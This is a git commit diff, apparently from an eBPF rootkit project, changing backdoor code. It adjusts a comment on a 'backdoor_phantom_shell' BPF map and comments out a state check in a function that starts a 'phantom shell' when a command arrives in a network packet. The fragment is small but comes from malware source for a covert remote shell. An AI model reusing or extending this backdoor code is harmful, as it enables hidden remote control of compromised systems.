Added new deployer for preparing final files, messed up with the phantom shell, sometimes gives errors, but I don't think we can do much, the shared maps together with multi-hooks on network has some unexpected behaviours

This commit is contained in:
h3xduck
2022-05-16 16:33:12 -04:00
parent 757a480de9
commit ccd518287a
10 changed files with 12677 additions and 12600 deletions

View File

@@ -105,7 +105,7 @@ struct backdoor_priv_packet_log_16{
struct backdoor_priv_phantom_shell{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1);
__type(key, __u64); //Source IPv4 of packet
__type(key, __u64); //Just 1
__type(value, struct backdoor_phantom_shell_data);
__uint(pinning, LIBBPF_PIN_BY_NAME);
} backdoor_phantom_shell SEC(".maps");

View File

@@ -29,10 +29,10 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
bpf_printk("Received request to start phantom shell\n");
//Check for phantom shell state
__u64 key = 1;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
if(ps_data != (void*)0 && ps_data->active ==1){
//struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
/*if(ps_data != (void*)0 && ps_data->active ==1){
bpf_printk("Overwriting previous phantom shell config\n");
}
}*/
struct backdoor_phantom_shell_data ps_new_data = {0};
ps_new_data.active = 1;
ps_new_data.d_ip = ip;